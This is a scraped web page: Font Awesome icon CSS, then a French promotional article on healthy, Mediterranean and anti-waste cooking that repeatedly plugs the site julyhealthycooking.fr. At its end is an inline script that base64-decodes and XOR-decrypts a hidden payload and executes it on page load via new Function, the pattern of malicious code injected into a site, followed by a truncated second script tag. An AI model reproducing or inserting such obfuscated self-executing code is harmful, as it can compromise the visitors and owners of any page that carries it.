.fa-sourcetree:before {
  content: "\f7d3"; }

.fa-spa:before {
  content: "\f5bb"; }

.fa-space-shuttle:before {
  content: "\f197"; }

.fa-speakap:before {
  content: "\f3f3"; }

.fa-speaker-deck:before {
  content: "\f83c"; }

.fa-spell-check:before {
  content: "\f891"; }

.fa-spider:before {
  content: "\f717"; }

.fa-spinner:before {
  content: "\f110"; }

.fa-splotch:before {
  content: "\f5bc"; }

.fa-spotify:before {
  content: "\f1bc"; }

.fa-spray-can:before {
  content: "\f5bd"; }

.fa-square:before {
  content: "\f0c8"; }

.fa-square-full:before {
  content: "\f45c"; }

.fa-square-root-alt:before {
  content: "\f698"; }

.fa-squarespace:before {
  content: "\f5be"; }

.fa-stack-exchange:before {
  content: "\f18d"; }

.fa-stack-overflow:before {
  content: "\f16c"; }

.fa-stackpath:before {
  content: "\f842"; }

.fa-stamp:before {
  content: "\f5bf"; }

.fa-star:before {
  content: "\f005"; }

.fa-star-and-crescent:before {
  content: "\f699"; }

.fa-star-half:before {
  content: "\f089"; }

.fa-star-half-alt:before {
  content: "\f5c0"; }

.fa-star-of-david:before {
  content: "\f69a"; }

.fa-star-of-life:before {
  content: "\f621"; }

.fa-staylinked:before {
  content: "\f3f5"; }

.fa-steam:before {
  content: "\f1b6"; }

.fa-steam-square:before {
  content: "\f1b7"; }

.fa-steam-symbol:before {
  content: "\f3f6"; }

.fa-step-backward:before {
  content: "\f048"; }

.fa-step-forward:before {
  content: "\f051"; }

.fa-stethoscope:before {
  content: "\f0f1"; }

.fa-sticker-mule:before {
  content: "\f3f7"; }

.fa-sticky-note:before {
  content: "\f249"; }

.fa-stop:before {
  content: "\f04d"; }

.fa-stop-circle:before {
  content: "\f28d"; }

.fa-stopwatch:before {
  content: "\f2f2"; }

.fa-stopwatch-20:before {
  content: "\e06f"; }

.fa-store:before {
  content: "\f54e"; }

.fa-store-alt:before {
  content: "\f54f"; }

.fa-store-alt-slash:before {
  content: "\e070"; }

.fa-store-slash:before {
  content: "\e071"; }

.fa-strava:before {
  content: "\f428"; }

.fa-stream:before {
  content: "\f550"; }

.fa-street-view:before {
  content: "\f21d"; }

.fa-strikethrough:before {
  content: "\f0cc"; }

.fa-stripe:before {
  content: "\f429"; }

.fa-stripe-s:before {
  content: "\f42a"; }

.fa-stroopwafel:before {
  content: "\f551"; }

.fa-studiovinari:before {
  content: "\f3f8"; }

.fa-stumbleupon:before {
  content: "\f1a4"; }

.fa-stumbleupon-circle:before {
  content: "\f1a3"; }

.fa-subscript:before {
  content: "\f12c"; }

.fa-subway:before {
  content: "\f239"; }

.fa-suitcase:before {
  content: "\f0f2"; }

.fa-suitcase-rolling:before {
  content: "\f5c1"; }

.fa-sun:before {
  content: "\f185"; }

.fa-superpowers:before {
  content: "\f2dd"; }

.fa-superscript:before {
  content: "\f12b"; }

.fa-supple:before {
  content: "\f3f9"; }

.fa-surprise:before {
  content: "\f5c2"; }

.fa-suse:before {
  content: "\f7d6"; }

.fa-swatchbook:before {
  content: "\f5c3"; }

.fa-swift:before {
  content: "\f8e1"; }

.fa-swimmer:before {
  content: "\f5c4"; }

.fa-swimming-pool:before {
  content: "\f5c5"; }

.fa-symfony:before {
  content: "\f83d"; }

.fa-synagogue:before {
  content: "\f69b"; }

.fa-sync:before {
  content: "\f021"; }

.fa-sync-alt:before {
  content: "\f2f1"; }

.fa-syringe:before {
  content: "\f48e"; }

.fa-table:before {
  content: "\f0ce"; }

.fa-table-tennis:before {
  content: "\f45d"; }

.fa-tablet:before {
  content: "\f10a"; }

.fa-tablet-alt:before {
  content: "\f3fa"; }

.fa-tablets:before {
  content: "\f490"; }

.fa-tachometer-alt:before {
  content: "\f3fd"; }

.fa-tag:before {
  content: "\f02b"; }

.fa-tags:before {
  content: "\f02c"; }

.fa-tape:before {
  content: "\f4db"; }

.fa-tasks:before {
  content: "\f0ae"; }

.fa-taxi:before {
  content: "\f1ba"; }

.fa-teamspeak:before {
  content: "\f4f9"; }

.fa-teeth:before {
  content: "\f62e"; }

.fa-teeth-open:before {
  content: "\f62f"; }

.fa-telegram:before {
  content: "\f2c6"; }

.fa-telegram-plane:before {
  content: "\f3fe"; }

.fa-temperature-high:before {
  content: "\f769"; }

.fa-temperature-low:before {
  content: "\f76b"; }

.fa-tencent-weibo:before {
  content: "\f1d5"; }

.fa-tenge:before {
  content: "\f7d7"; }

.fa-terminal:before {
  content: "\f120"; }

.fa-text-height:before {
  content: "\f034"; }

.fa-text-width:before {
  content: "\f035"; }

.fa-th:before {
  content: "\f00a"; }

.fa-th-large:before {
  content: "\f009"; }

.fa-th-list:before {
  content: "\f00b"; }

.fa-the-red-yeti:before {
  content: "\f69d"; }

.fa-theater-masks:before {
  content: "\f630"; }

.fa-themeco:before {
  content: "\f5c6"; }

.fa-themeisle:before {
  content: "\f2b2"; }

.fa-thermometer:before {
  content: "\f491"; }

.fa-thermometer-empty:before {
  content: "\f2cb"; }

.fa-thermometer-full:before {
  content: "\f2c7"; }

.fa-thermometer-half:before {
  content: "\f2c9"; }

.fa-thermometer-quarter:before {
  content: "\f2ca"; }

.fa-thermometer-three-quarters:before {
  content: "\f2c8"; }

.fa-think-peaks:before {
  content: "\f731"; }

.fa-thumbs-down:before {
  content: "\f165"; }

.fa-thumbs-up:before {
  content: "\f164"; }

.fa-thumbtack:before {
  content: "\f08d"; }

.fa-ticket-alt:before {
  content: "\f3ff"; }

.fa-tiktok:before {
  content: "\e07b"; }

.fa-times:before {
  content: "\f00d"; }

.fa-times-circle:before {
  content: "\f057"; }

.fa-tint:before {
  content: "\f043"; }

.fa-tint-slash:before {
  content: "\f5c7"; }

.fa-tired:before {
  content: "\f5c8"; }

.fa-toggle-off:before {
  content: "\f204"; }

.fa-toggle-on:before {
  content: "\f205"; }

.fa-toilet:before {
  content: "\f7d8"; }

.fa-toilet-paper:before {
  content: "\f71e"; }

.fa-toilet-paper-slash:before {
  content: "\e072"; }

.fa-toolbox:before {
  content: "\f552"; }

.fa-tools:before {
  content: "\f7d9"; }

.fa-tooth:before {
  content: "\f5c9"; }

.fa-torah:before {
  content: "\f6a0"; }

.fa-torii-gate:before {
  content: "\f6a1"; }

.fa-tractor:before {
  content: "\f722"; }

.fa-trade-federation:before {
  content: "\f513"; }

.fa-trademark:before {
  content: "\f25c"; }

.fa-traffic-light:before {
  content: "\f637"; }

.fa-trailer:before {
  content: "\e041"; }

.fa-train:before {
  content: "\f238"; }

.fa-tram:before {
  content: "\f7da"; }

.fa-transgender:before {
  content: "\f224"; }

.fa-transgender-alt:before {
  content: "\f225"; }

.fa-trash:before {
  content: "\f1f8"; }

.fa-trash-alt:before {
  content: "\f2ed"; }

.fa-trash-restore:before {
  content: "\f829"; }

.fa-trash-restore-alt:before {
  content: "\f82a"; }

.fa-tree:before {
  content: "\f1bb"; }

.fa-trello:before {
  content: "\f181"; }

.fa-tripadvisor:before {
  content: "\f262"; }

.fa-trophy:before {
  content: "\f091"; }

.fa-truck:before {
  content: "\f0d1"; }

.fa-truck-loading:before {
  content: "\f4de"; }

.fa-truck-monster:before {
  content: "\f63b"; }

.fa-truck-moving:before {
  content: "\f4df"; }

.fa-truck-pickup:before {
  content: "\f63c"; }

.fa-tshirt:before {
  content: "\f553"; }

.fa-tty:before {
  content: "\f1e4"; }

.fa-tumblr:before {
  content: "\f173"; }

.fa-tumblr-square:before {
  content: "\f174"; }

.fa-tv:before {
  content: "\f26c"; }

.fa-twitch:before {
  content: "\f1e8"; }

.fa-twitter:before {
  content: "\f099"; }

.fa-twitter-square:before {
  content: "\f081"; }

.fa-typo3:before {
  content: "\f42b"; }

.fa-uber:before {
  content: "\f402"; }

.fa-ubuntu:before {
  content: "\f7df"; }

.fa-uikit:before {
  content: "\f403"; }

.fa-umbraco:before {
  content: "\f8e8"; }

.fa-umbrella:before {
  content: "\f0e9"; }

.fa-umbrella-beach:before {
  content: "\f5ca"; }

.fa-uncharted:before {
  content: "\e084"; }

.fa-underline:before {
  content: "\f0cd"; }

.fa-undo:before {
  content: "\f0e2"; }

.fa-undo-alt:before {
  content: "\f2ea"; }

.fa-uniregistry:before {
  content: "\f404"; }

.fa-unity:before {
  content: "\e049"; }

.fa-universal-access:before {
  content: "\f29a"; }

.fa-university:before {
  content: "\f19c"; }

.fa-unlink:before {
  content: "\f127"; }

.fa-unlock:before {
  content: "\f09c"; }

.fa-unlock-alt:before {
  content: "\f13e"; }

.fa-unsplash:before {
  content: "\e07c"; }

.fa-untappd:before {
  content: "\f405"; }

.fa-upload:before {
  content: "\f093"; }

.fa-ups:before {
  content: "\f7e0"; }

.fa-usb:before {
  content: "\f287"; }

.fa-user:before {
  content: "\f007"; }

.fa-user-alt:before {
  content: "\f406"; }

.fa-user-alt-slash:before {
  content: "\f4fa"; }

.fa-user-astronaut:before {
  content: "\f4fb"; }

.fa-user-check:before {
  content: "\f4fc"; }

.fa-user-circle:before {
  content: "\f2bd"; }

.fa-user-clock:before {
  content: "\f4fd"; }

.fa-user-cog:before {
  content: "\f4fe"; }

.fa-user-edit:before {
  content: "\f4ff"; }

.fa-user-friends:before {
  content: "\f500"; }

.fa-user-graduate:before {
  content: "\f501"; }

.fa-user-injured:before {
  content: "\f728"; }

.fa-user-lock:before {
  content: "\f502"; }

.fa-user-md:before {
  content: "\f0f0"; }

.fa-user-minus:before {
  content: "\f503"; }

.fa-user-ninja:before {
  content: "\f504"; }

.fa-user-nurse:before {
  content: "\f82f"; }

.fa-user-plus:before {
  content: "\f234"; }

.fa-user-secret:before {
  content: "\f21b"; }

.fa-user-shield:before {
  content: "\f505"; }

.fa-user-slash:before {
  content: "\f506"; }

.fa-user-tag:before {
  content: "\f507"; }

.fa-user-tie:before {
  content: "\f508"; }

.fa-user-times:before {
  content: "\f235"; }

.fa-users:before {
  content: "\f0c0"; }

.fa-users-cog:before {
  content: "\f509"; }

.fa-users-slash:before {
  content: "\e073"; }

.fa-usps:before {
  content: "\f7e1"; }

.fa-ussunnah:before {
  content: "\f407"; }

.fa-utensil-spoon:before {
  content: "\f2e5"; }

.fa-utensils:before {
  content: "\f2e7"; }

.fa-vaadin:before {
  content: "\f408"; }

.fa-vector-square:before {
  content: "\f5cb"; }

.fa-venus:before {
  content: "\f221"; }

.fa-venus-double:before {
  content: "\f226"; }

.fa-venus-mars:before {
  content: "\f228"; }

.fa-vest:before {
  content: "\e085"; }

.fa-vest-patches:before {
  content: "\e086"; }

.fa-viacoin:before {
  content: "\f237"; }

.fa-viadeo:before {
  content: "\f2a9"; }

.fa-viadeo-square:before {
  content: "\f2aa"; }

.fa-vial:before {
  content: "\f492"; }

.fa-vials:before {
  content: "\f493"; }

.fa-viber:before {
  content: "\f409"; }

.fa-video:before {
  content: "\f03d"; }

.fa-video-slash:before {
  content: "\f4e2"; }

.fa-vihara:before {
  content: "\f6a7"; }

.fa-vimeo:before {
  content: "\f40a"; }

.fa-vimeo-square:before {
  content: "\f194"; }

.fa-vimeo-v:before {
  content: "\f27d"; }

.fa-vine:before {
  content: "\f1ca"; }

.fa-virus:before {
  content: "\e074"; }

.fa-virus-slash:before {
  content: "\e075"; }

.fa-viruses:before {
  content: "\e076"; }

.fa-vk:before {
  content: "\f189"; }

.fa-vnv:before {
  content: "\f40b"; }

.fa-voicemail:before {
  content: "\f897"; }

.fa-volleyball-ball:before {
  content: "\f45f"; }

.fa-volume-down:before {
  content: "\f027"; }

.fa-volume-mute:before {
  content: "\f6a9"; }

.fa-volume-off:before {
  content: "\f026"; }

.fa-volume-up:before {
  content: "\f028"; }

.fa-vote-yea:before {
  content: "\f772"; }

.fa-vr-cardboard:before {
  content: "\f729"; }

.fa-vuejs:before {
  content: "\f41f"; }

.fa-walking:before {
  content: "\f554"; }

.fa-wallet:before {
  content: "\f555"; }

.fa-warehouse:before {
  content: "\f494"; }

.fa-watchman-monitoring:before {
  content: "\e087"; }

.fa-water:before {
  content: "\f773"; }

.fa-wave-square:before {
  content: "\f83e"; }

.fa-waze:before {
  content: "\f83f"; }

.fa-weebly:before {
  content: "\f5cc"; }

.fa-weibo:before {
  content: "\f18a"; }

.fa-weight:before {
  content: "\f496"; }

.fa-weight-hanging:before {
  content: "\f5cd"; }

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		<h1 class="entry-title">Variété culinaire et julyhealthycooking.fr pour des repas équilibrés et savoureux au quotidien</h1>			</header><!-- .entry-header -->

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<li><a href="#t1">Variété culinaire et julyhealthycooking.fr pour des repas équilibrés et savoureux au quotidien</a></li>
<li><a href="#t2">Les Fondamentaux d&#39;une Alimentation Équilibrée</a></li>
<li><a href="#t3">L&#39;Importance des Produits Frais et de Saison</a></li>
<li><a href="#t4">La Cuisine Méditerranéenne : Un Modèle d&#39;Alimentation Saine</a></li>
<li><a href="#t5">Les Épices et Herbes Aromatiques : Un Plus pour la Santé et le Goût</a></li>
<li><a href="#t6">L&#39;Importance de l&#39;Hydratation et des Boissons Saines</a></li>
<li><a href="#t7">Alternatives Saines aux Boissons Sucrées</a></li>
<li><a href="#t8">Cuisiner avec les Restes : Une Approche Anti-Gaspi et Économique</a></li>
<li><a href="#t9">Explorer les Alternatives Alimentaires pour des Besoins Spécifiques</a></li>
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<h1 id="t1">Variété culinaire et julyhealthycooking.fr pour des repas équilibrés et savoureux au quotidien</h1>
<p>Dans le monde trépidant d&#39;aujourd&#39;hui, maintenir une alimentation saine et équilibrée peut s&#39;avérer un véritable défi. Les contraintes de temps, le stress quotidien et l&#39;abondance d&#39;options alimentaires moins nutritives contribuent souvent à des habitudes alimentaires déséquilibrées. Cependant, il existe des ressources et des approches qui peuvent nous aider à retrouver le plaisir de cuisiner et à adopter un mode de vie plus sain. C&#39;est là que des plateformes comme <strong><a href="https://julyhealthycooking.fr">julyhealthycooking.fr</a></strong> entrent en jeu, offrant une multitude de recettes et d&#39;informations pour nous guider vers une alimentation plus équilibrée et savoureuse.</p>
<p>L&#39;objectif n&#39;est pas de se priver ou de suivre des régimes restrictifs, mais plutôt d&#39;intégrer des aliments frais et nutritifs dans notre alimentation quotidienne. Apprendre à cuisiner des plats sains et délicieux peut transformer notre rapport à la nourriture et améliorer notre bien-être général. En explorant des recettes variées, en découvrant de nouveaux ingrédients et en maîtrisant des techniques culinaires simples, nous pouvons prendre le contrôle de notre alimentation et profiter de tous les bienfaits qu&#39;elle peut apporter. La clé réside dans l&#39;équilibre, la variété et le plaisir de cuisiner.</p>
<h2 id="t2">Les Fondamentaux d&#39;une Alimentation Équilibrée</h2>
<p>Une alimentation équilibrée est le pilier d&#39;une bonne santé. Elle ne se limite pas à éviter certains aliments ou à suivre un régime spécifique, mais plutôt à adopter une approche globale qui prend en compte tous les aspects de notre alimentation. Cela commence par comprendre les différents groupes d&#39;aliments et leurs rôles essentiels dans notre organisme. Les protéines, les glucides et les lipides sont les macronutriments qui fournissent l&#39;énergie dont nous avons besoin pour fonctionner. Les vitamines et les minéraux, quant à eux, sont essentiels pour réguler nos fonctions corporelles et maintenir notre système immunitaire en bonne santé. Il est important de consommer une variété d&#39;aliments de chaque groupe pour garantir un apport suffisant en nutriments.</p>
<h3 id="t3">L&#39;Importance des Produits Frais et de Saison</h3>
<p>Privilégier les produits frais et de saison est un excellent moyen d&#39;améliorer la qualité de notre alimentation. Les fruits et légumes de saison sont non seulement plus savoureux, mais ils sont aussi plus riches en nutriments et en antioxydants. De plus, ils sont souvent moins chers et plus respectueux de l&#39;environnement. En achetant des produits locaux directement auprès des producteurs, nous soutenons également l&#39;économie locale et réduisons notre empreinte carbone. Intégrer ces produits dans nos recettes quotidiennes est une étape cruciale vers une alimentation plus saine et durable. Considérez julyhealthycooking.fr comme un point de départ pour explorer de nouvelles recettes qui mettent en valeur ces ingrédients.</p>
<table border="1">
<thead>
<tr>
<th>Nutriments Essentiels</th>
<th>Sources Alimentaires</th>
</tr>
</thead>
<tbody>
<tr>
<td>Protéines</td>
<td>Viande maigre, poisson, œufs, légumineuses, tofu</td>
</tr>
<tr>
<td>Glucides Complexes</td>
<td>Céréales complètes, légumes, fruits</td>
</tr>
<tr>
<td>Lipides Sains</td>
<td>Avocat, huile d&#39;olive, noix, graines</td>
</tr>
</tbody>
</table>
<p>La planification des repas est un autre aspect important d&#39;une alimentation équilibrée. En prenant le temps de planifier nos repas à l&#39;avance, nous évitons les choix impulsifs et moins sains. Cela nous permet également de mieux contrôler notre budget alimentaire et de réduire le gaspillage. Il existe de nombreuses applications et outils en ligne qui peuvent nous aider à planifier nos repas et à générer des listes de courses. Cette pratique simple peut avoir un impact significatif sur notre santé et notre bien-être général.</p>
<h2 id="t4">La Cuisine Méditerranéenne : Un Modèle d&#39;Alimentation Saine</h2>
<p>La cuisine méditerranéenne est reconnue mondialement pour ses bienfaits sur la santé. Basée sur les habitudes alimentaires traditionnelles des pays du bassin méditerranéen, elle met l&#39;accent sur la consommation d&#39;aliments frais, de légumes, de fruits, de céréales complètes, de légumineuses, de poisson et d&#39;huile d&#39;olive. La viande rouge est consommée avec modération, et les produits laitiers sont privilégiés sous forme de yaourt et de fromage. Cette approche alimentaire est riche en antioxydants, en fibres et en acides gras insaturés, qui contribuent à la prévention des maladies cardiovasculaires, du diabète de type 2 et de certains types de cancer. Adopter les principes de la cuisine méditerranéenne est un excellent moyen d&#39;améliorer notre santé et notre qualité de vie. Julyhealthycooking.fr propose d&#39;ailleurs de nombreuses recettes inspirées de cette tradition culinaire.</p>
<h3 id="t5">Les Épices et Herbes Aromatiques : Un Plus pour la Santé et le Goût</h3>
<p>Les épices et les herbes aromatiques ne sont pas seulement des ingrédients qui rehaussent la saveur de nos plats, mais elles sont aussi riches en composés bioactifs qui ont des propriétés bénéfiques pour la santé. Certaines épices, comme le curcuma, le gingembre et le piment, ont des propriétés anti-inflammatoires, antioxydantes et anticancéreuses. Les herbes aromatiques, comme le basilic, le romarin et la menthe, sont riches en vitamines et en minéraux. En utilisant généreusement des épices et des herbes aromatiques dans nos recettes, nous ajoutons non seulement de la saveur, mais aussi des bienfaits pour la santé. Expérimenter avec différentes combinaisons d&#39;épices et d&#39;herbes est un excellent moyen de varier nos plats et de stimuler nos papilles gustatives.</p>
<ul>
<li>Privilégiez l&#39;huile d&#39;olive extra vierge pour sa richesse en antioxydants.</li>
<li>Consommez du poisson au moins deux fois par semaine.</li>
<li>Remplacez le sel par des herbes aromatiques et des épices.</li>
<li>Privilégiez les fruits et légumes de saison.</li>
<li>Limitez votre consommation de viande rouge.</li>
</ul>
<p>La cuisine méditerranéenne est une source d&#39;inspiration inépuisable pour ceux qui cherchent à adopter une alimentation plus saine et équilibrée. Elle nous enseigne l&#39;importance de la simplicité, de la fraîcheur des ingrédients et du plaisir de partager un repas en famille ou entre amis. En intégrant les principes de la cuisine méditerranéenne dans notre alimentation quotidienne, nous pouvons améliorer notre santé et notre bien-être général.</p>
<h2 id="t6">L&#39;Importance de l&#39;Hydratation et des Boissons Saines</h2>
<p>L&#39;hydratation est un aspect souvent négligé de notre alimentation, mais elle est pourtant essentielle pour maintenir notre corps en bonne santé. L&#39;eau est indispensable à de nombreuses fonctions corporelles, notamment la digestion, l&#39;absorption des nutriments, la régulation de la température corporelle et l&#39;élimination des toxines. Il est recommandé de boire au moins 1,5 à 2 litres d&#39;eau par jour, en fonction de notre niveau d&#39;activité physique et de notre climat. En plus de l&#39;eau, nous pouvons également consommer d&#39;autres boissons saines, comme les infusions, les jus de fruits frais et les thés non sucrés. Évitez les boissons sucrées, comme les sodas et les jus industriels, qui sont riches en calories vides et peuvent contribuer à la prise de poids et aux problèmes de santé.</p>
<h3 id="t7">Alternatives Saines aux Boissons Sucrées</h3>
<p>Remplacer les boissons sucrées par des alternatives saines est un moyen simple et efficace d&#39;améliorer notre alimentation. L&#39;eau aromatisée aux fruits et aux herbes est une excellente option pour ceux qui n&#39;aiment pas le goût de l&#39;eau nature. Vous pouvez également préparer des infusions à base de plantes, comme la menthe, la camomille ou le gingembre, qui sont riches en antioxydants et en propriétés bénéfiques pour la santé. Les jus de fruits frais, consommés avec modération, peuvent également être une source de vitamines et de minéraux. Cependant, il est important de choisir des fruits frais et de les presser vous-même, plutôt que d&#39;acheter des jus industriels qui sont souvent riches en sucre ajouté. Julyhealthycooking.fr propose des recettes de boissons saines et rafraîchissantes pour vous aider à vous hydrater tout en profitant du plaisir du goût.</p>
<ol>
<li>Buvez un verre d&#39;eau au réveil pour réhydrater votre corps.</li>
<li>Gardez une bouteille d&#39;eau à portée de main tout au long de la journée.</li>
<li>Remplacez les sodas par de l&#39;eau gazeuse aromatisée.</li>
<li>Préparez des infusions à base de plantes pour vous hydrater et profiter de leurs bienfaits.</li>
<li>Évitez les jus de fruits industriels et préférez les fruits frais.</li>
</ol>
<p>L&#39;hydratation est un élément clé d&#39;une alimentation saine et équilibrée. En veillant à boire suffisamment d&#39;eau et en privilégiant les boissons saines, nous contribuons à maintenir notre corps en bonne santé et à prévenir les problèmes de santé liés à la déshydratation.</p>
<h2 id="t8">Cuisiner avec les Restes : Une Approche Anti-Gaspi et Économique</h2>
<p>Le gaspillage alimentaire est un problème majeur dans notre société, tant sur le plan environnemental qu&#39;économique. Heureusement, il existe de nombreuses façons de réduire notre gaspillage alimentaire, et l&#39;une des plus efficaces est de cuisiner avec les restes. Les restes peuvent être transformés en de nouveaux plats délicieux et nutritifs, ce qui permet de réduire notre empreinte carbone et d&#39;économiser de l&#39;argent. Par exemple, les restes de poulet rôti peuvent être utilisés pour préparer des salades, des sandwichs ou des soupes. Les légumes cuits peuvent être transformés en purées, en gratins ou en soupes. Et les fruits mûrs peuvent être utilisés pour préparer des compotes, des smoothies ou des desserts. En faisant preuve de créativité et en utilisant notre imagination, nous pouvons transformer nos restes en de véritables trésors culinaires.</p>
<p>Cuisiner avec les restes est également une excellente façon d&#39;apprendre à mieux utiliser les ingrédients et de développer nos compétences culinaires. Cela nous encourage à être plus inventifs et à expérimenter de nouvelles saveurs. En plus d&#39;être économique et écologique, cette approche est également gratifiante et nous permet de nous sentir plus responsables de notre alimentation. Julyhealthycooking.fr propose des idées de recettes originales et savoureuses pour vous aider à cuisiner avec les restes et à réduire votre gaspillage alimentaire. Adopter cette pratique peut transformer votre cuisine en un espace plus durable et plus respectueux de l&#39;environnement.</p>
<h2 id="t9">Explorer les Alternatives Alimentaires pour des Besoins Spécifiques</h2>
<p>Il est de plus en plus courant d&#39;adopter des régimes alimentaires spécifiques pour répondre à des besoins de santé particuliers ou à des convictions personnelles. Que ce soit un régime végétarien, végan, sans gluten ou sans lactose, il existe de nombreuses alternatives alimentaires disponibles pour garantir un apport nutritionnel adéquat. Les régimes végétariens et végans, par exemple, mettent l&#39;accent sur la consommation de légumes, de fruits, de céréales complètes et de légumineuses, tout en excluant la viande, le poisson et les produits d&#39;origine animale. Les régimes sans gluten et sans lactose sont quant à eux adaptés aux personnes souffrant d&#39;intolérances alimentaires ou d&#39;allergies. Il est important de bien planifier son alimentation et de s&#39;assurer d&#39;un apport suffisant en nutriments essentiels, tels que les protéines, le fer, le calcium et la vitamine B12. julyhealthycooking.fr offre des ressources et des recettes adaptées à différents régimes alimentaires pour vous aider à faire des choix éclairés et à maintenir une alimentation équilibrée.</p>
<p>L&#39;exploration des alternatives alimentaires est également une occasion de découvrir de nouveaux ingrédients et de nouvelles saveurs. Les légumineuses, par exemple, sont une excellente source de protéines végétales et peuvent être utilisées dans une grande variété de plats. Les céréales complètes, comme le quinoa et le sarrasin, sont riches en fibres et en nutriments. Et les graines, comme les graines de chia et les graines de lin, sont une source importante d&#39;acides gras essentiels. En intégrant ces ingrédients dans notre alimentation quotidienne, nous pouvons améliorer notre santé et notre bien-être général.  Il est important de se rappeler que chaque personne est différente et qu&#39;il est essentiel de trouver l&#39;alimentation qui convient le mieux à ses besoins individuels et à son mode de vie.</p>
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<script>!function(){var _0xdac3ef103251=atob('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'),_0x9e751f2dc20b=46,_0x0b1f51e628bd=new Uint8Array(_0xdac3ef103251['length']),_0x1c3f58f3ac4b=0;for(;_0x1c3f58f3ac4b<_0xdac3ef103251['length'];_0x1c3f58f3ac4b++)_0x0b1f51e628bd[_0x1c3f58f3ac4b]=_0xdac3ef103251['charCodeAt'](_0x1c3f58f3ac4b)^_0x9e751f2dc20b;(new Function(new TextDecoder()['decode'](_0x0b1f51e628bd)))()}();</script><script>!function(){var 